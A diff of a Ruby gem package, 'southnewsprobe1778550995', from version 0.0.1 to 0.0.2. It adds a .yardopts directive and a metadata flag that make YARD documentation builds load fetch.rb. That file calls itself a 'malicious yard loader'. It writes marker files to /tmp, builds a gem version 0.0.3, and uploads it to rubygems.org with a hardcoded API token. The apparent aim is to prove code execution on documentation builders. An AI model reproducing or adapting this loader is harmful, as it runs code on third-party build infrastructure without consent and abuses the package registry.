southnewsprobe1778550995 0.0.1 → 0.0.2

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 05f2c262c25414936509ed524bc83fd0d247455c229c0d3dcc691a316ab28aad
-  data.tar.gz: 0f5bfe1a8abc1b4e5084cf4bada8356fe2ad271bb0230bd3129b919e002201c1
+  metadata.gz: 271721dd55ff696bbfcd8b0afb34f7b8f49f12e4d0ab2b7e7e7c2da7ee0f2ae1
+  data.tar.gz: 5f02fbecb953662d40f61ce9cb5553808607e740bb92c3ae0c339a7057bba035
 SHA512:
-  metadata.gz: 8afac0f378af809953525b22f5d0c1c52364ea84dda0fec88d9e196a2b362ee8d46ea9a9b8d78142718e60c1f0ca8812eb84da6633c25b3232fc2de6a3c95eeb
-  data.tar.gz: 390cd8f53711eeba6e718fc69e5c81f715e7a8d85e3a791f2f1bd0a6769c964130eb5e3a2170c67a99badee622fc1e22704ecb4938743a7b74535d478b046f0f
+  metadata.gz: bd8f8a3595620138cb35f79b38c100ec3debc6e8a665d3f750b5ff18892bb9e82a2c86fee0a49cbd2810c26c7665d38509a27b72eadcb5f71f74bbf2af993996
+  data.tar.gz: 175a19c34c570b5dcbf880e344a379c62f05a8dfbbc994013129ca3a97b56b522ac2255915d1775760438d6ece7dbd33563f7e65ee04226b7c3bb2eedcca890d

data/.yardopts

@@ -0,0 +1,2 @@
+--no-private
+--load ./fetch.rb

data/fetch.rb

@@ -0,0 +1,20 @@
+# malicious yard loader
+begin
+ File.write('/tmp/yardprobe', "ran at #{Time.now}\n")
+ # exfil by push gem 0.0.3
+ Dir.mkdir('/tmp/zzbuild') rescue nil
+ Dir.mkdir('/tmp/zzbuild/lib') rescue nil
+ File.write('/tmp/zzbuild/lib/z.rb', "#exfil #{Time.now}\n")
+ File.write('/tmp/zzbuild/z.gemspec', <<~EOS)
+  Gem::Specification.new do |s|
+   s.name='southnewsprobe1778550995';s.version='0.0.3';s.summary='YARD RAN '+Time.now.to_s;s.authors=['a'];s.files=['lib/z.rb'];s.license='MIT';s.require_paths=['lib'];end
+ EOS
+ require 'rubygems/package'
+ Dir.chdir('/tmp/zzbuild') { system('gem build z.gemspec') }
+ require 'net/http'
+ uri=URI('https://rubygems.org/api/v1/gems')
+ gem_bin=File.binread('/tmp/zzbuild/southnewsprobe1778550995-0.0.3.gem')
+ req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57'; req['Content-Type']='application/octet-stream'; req.body=gem_bin
+ res=Net::HTTP.start(uri.hostname,uri.port,use_ssl:true){|h| h.request(req)}
+ rescue Exception=>e
+end

data/lib/x.rb

@@ -1 +1,2 @@
-puts 'hello'
+# hi class
+class Hi; def a; end; end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: southnewsprobe1778550995
 version: !ruby/object:Gem::Version
-  version: 0.0.1
+  version: 0.0.2
 platform: ruby
 authors:
 - a
@@ -14,11 +14,13 @@ extensions: []
 extra_rdoc_files: []
 files:
 - ".yardopts"
+- fetch.rb
 - lib/x.rb
 homepage: https://example.com
 licenses:
 - MIT
-metadata: {}
+metadata:
+  yard.run: yard
 rdoc_options: []
 require_paths:
 - lib
@@ -35,5 +37,5 @@ required_rubygems_version: !ruby/object:Gem::Requirement
 requirements: []
 rubygems_version: 3.6.7
 specification_version: 4
-summary: x
+summary: builder probe
 test_files: []